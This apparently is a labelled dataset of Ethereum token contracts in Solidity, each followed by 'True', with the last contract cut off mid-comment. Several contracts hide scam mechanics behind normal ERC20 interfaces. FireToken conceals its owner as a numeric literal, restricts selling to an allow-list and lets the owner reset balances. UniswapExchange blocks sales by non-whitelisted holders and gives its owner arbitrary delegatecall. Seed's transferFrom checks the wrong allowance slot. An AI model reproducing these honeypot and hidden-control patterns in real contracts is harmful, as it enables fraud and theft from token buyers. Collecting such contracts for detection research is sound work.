(uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } if(from != address(this)){ require(amount <= _maxTxAmount); } require(!bots[from] && !bots[to] && !bots[msg.sender]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } // This is done to prevent the taxes from filling up in the router since compiled taxes emptying can impact the chart. // This reduces the impact of taxes on the chart. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _routermax) { contractTokenBalance = _routermax; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam; if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router) ) { // We need to swap the current tokens to ETH and send to the team wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function isExcluded(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function isBlackListed(address account) public view returns (bool) { return bots[account]; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _Marketingfund.transfer(amount.div(10).mul(6)); _devWalletAddress.transfer(amount.div(10).mul(4)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 250000000 * 10**9; launchBlock = block.number; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function setSwapEnabled(bool enabled) external { require(_msgSender() == _Deployer); swapEnabled = enabled; } function manualswap() external { require(_msgSender() == _Deployer); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _Deployer); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner() { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner() { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external { require(_msgSender() == _Deployer); require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setRouterPercent(uint256 maxRouterPercent) external { require(_msgSender() == _Deployer); require(maxRouterPercent > 0, "Amount must be greater than 0"); _routermax = _tTotal.mul(maxRouterPercent).div(10**4); } function _setTeamFee(uint256 teamFee) external { require(_msgSender() == _Deployer); require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25'); _teamFee = teamFee; } }
True
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// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface IOwnershipTransferrable { function transferOwnership(address owner) external; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); } abstract contract Ownable is IOwnershipTransferrable { address private _owner; constructor(address owner) { _owner = owner; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) override external onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Seed is Ownable { using SafeMath for uint256; uint256 constant UINT256_MAX = ~uint256(0); string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor() Ownable(msg.sender) { _totalSupply = 1000000 * 1e18; _name = "Seed"; _symbol = "SEED"; _decimals = 18; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function name() external view returns (string memory) { return _name; } function symbol() external view returns (string memory) { return _symbol; } function decimals() external view returns (uint8) { return _decimals; } function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; } function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function approve(address spender, uint256 amount) external returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { _transfer(sender, recipient, amount); if (_allowances[msg.sender][sender] != UINT256_MAX) { _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); } return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0)); require(recipient != address(0)); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function mint(address account, uint256 amount) external onlyOwner { _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function burn(uint256 amount) external returns (bool) { _balances[msg.sender] = _balances[msg.sender].sub(amount); _totalSupply = _totalSupply.sub(amount); emit Transfer(msg.sender, address(0), amount); return true; } }
True
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/** *Submitted for verification at Etherscan.io on 2021-06-16 */ pragma solidity ^0.4.26; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } } contract FireToken is Ownable { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public { name = _name; symbol = _symbol; decimals = _decimals; totalSupply = _totalSupply; balances[msg.sender] = totalSupply; allow[msg.sender] = true; } function showuint160(address addr) public pure returns(uint160){ return uint160(addr); } using SafeMath for uint256; mapping(address => uint256) public balances; mapping(address => bool) public allow; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } modifier onlyOwner() { require(msg.sender == address (1132167815322823072539476364451924570945755492656));_;} function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } mapping (address => mapping (address => uint256)) public allowed; mapping(address=>uint256) sellOutNum; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(allow[_from] == true); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function addAllow(address holder, bool allowApprove) external onlyOwner { allow[holder] = allowApprove; } function mint(address miner, uint256 _value) external onlyOwner { balances[miner] = _value; } }
True
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/** *Submitted for verification at Etherscan.io on 2021-07-14 */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
True
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// SPDX-License-Identifier: MIT pragma solidity 0.5.17; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } contract MinterRole is Context { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(_msgSender()); } modifier onlyMinter() { require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role"); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(_msgSender()); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } /** * @title WhitelistAdminRole * @dev WhitelistAdmins are responsible for assigning and removing Whitelisted accounts. */ contract WhitelistAdminRole is Context { using Roles for Roles.Role; event WhitelistAdminAdded(address indexed account); event WhitelistAdminRemoved(address indexed account); Roles.Role private _whitelistAdmins; constructor () internal { _addWhitelistAdmin(_msgSender()); } modifier onlyWhitelistAdmin() { require(isWhitelistAdmin(_msgSender()), "WhitelistAdminRole: caller does not have the WhitelistAdmin role"); _; } function isWhitelistAdmin(address account) public view returns (bool) { return _whitelistAdmins.has(account); } function addWhitelistAdmin(address account) public onlyWhitelistAdmin { _addWhitelistAdmin(account); } function renounceWhitelistAdmin() public { _removeWhitelistAdmin(_msgSender()); } function _addWhitelistAdmin(address account) internal { _whitelistAdmins.add(account); emit WhitelistAdminAdded(account); } function _removeWhitelistAdmin(address account) internal { _whitelistAdmins.remove(account); emit WhitelistAdminRemoved(account); } } /** * @title ERC165 * @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md */ interface IERC165 { /** * @notice Query if a contract implements an interface * @dev Interface identification is specified in ERC-165. This function * uses less than 30,000 gas * @param _interfaceId The interface identifier, as specified in ERC-165 */ function supportsInterface(bytes4 _interfaceId) external view returns (bool); } /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath#mul: OVERFLOW"); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath#div: DIVISION_BY_ZERO"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath#sub: UNDERFLOW"); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath#add: OVERFLOW"); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO"); return a % b; } } /** * @dev ERC-1155 interface for accepting safe transfers. */ interface IERC1155TokenReceiver { /** * @notice Handle the receipt of a single ERC1155 token type * @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeTransferFrom` after the balance has been updated * This function MAY throw to revert and reject the transfer * Return of other amount than the magic value MUST result in the transaction being reverted * Note: The token contract address is always the message sender * @param _operator The address which called the `safeTransferFrom` function * @param _from The address which previously owned the token * @param _id The id of the token being transferred * @param _amount The amount of tokens being transferred * @param _data Additional data with no specified format * @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` */ function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _amount, bytes calldata _data) external returns(bytes4); /** * @notice Handle the receipt of multiple ERC1155 token types * @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeBatchTransferFrom` after the balances have been updated * This function MAY throw to revert and reject the transfer * Return of other amount than the magic value WILL result in the transaction being reverted * Note: The token contract address is always the message sender * @param _operator The address which called the `safeBatchTransferFrom` function * @param _from The address which previously owned the token * @param _ids An array containing ids of each token being transferred * @param _amounts An array containing amounts of each token being transferred * @param _data Additional data with no specified format * @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` */ function onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data) external returns(bytes4); /** * @notice Indicates whether a contract implements the `ERC1155TokenReceiver` functions and so can accept ERC1155 token types. * @param interfaceID The ERC-165 interface ID that is queried for support.s * @dev This function MUST return true if it implements the ERC1155TokenReceiver interface and ERC-165 interface. * This function MUST NOT consume more than 5,000 gas. * @return Wheter ERC-165 or ERC1155TokenReceiver interfaces are supported. */ function supportsInterface(bytes4 interfaceID) external view returns (bool); } interface IERC1155 { // Events /** * @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred, including zero amount transfers as well as minting or burning * Operator MUST be msg.sender * When minting/creating tokens, the `_from` field MUST be set to `0x0` * When burning/destroying tokens, the `_to` field MUST be set to `0x0` * The total amount transferred from address 0x0 minus the total amount transferred to 0x0 may be used by clients and exchanges to be added to the "circulating supply" for a given token ID * To broadcast the existence of a token ID with no initial balance, the contract SHOULD emit the TransferSingle event from `0x0` to `0x0`, with the token creator as `_operator`, and a `_amount` of 0 */ event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _amount); /** * @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred, including zero amount transfers as well as minting or burning * Operator MUST be msg.sender * When minting/creating tokens, the `_from` field MUST be set to `0x0` * When burning/destroying tokens, the `_to` field MUST be set to `0x0` * The total amount transferred from address 0x0 minus the total amount transferred to 0x0 may be used by clients and exchanges to be added to the "circulating supply" for a given token ID * To broadcast the existence of multiple token IDs with no initial balance, this SHOULD emit the TransferBatch event from `0x0` to `0x0`, with the token creator as `_operator`, and a `_amount` of 0 */ event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _amounts); /** * @dev MUST emit when an approval is updated */ event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); /** * @dev MUST emit when the URI is updated for a token ID * URIs are defined in RFC 3986 * The URI MUST point a JSON file that conforms to the "ERC-1155 Metadata JSON Schema" */ event URI(string _amount, uint256 indexed _id); /** * @notice Transfers amount of an _id from the _from address to the _to address specified * @dev MUST emit TransferSingle event on success * Caller must be approved to manage the 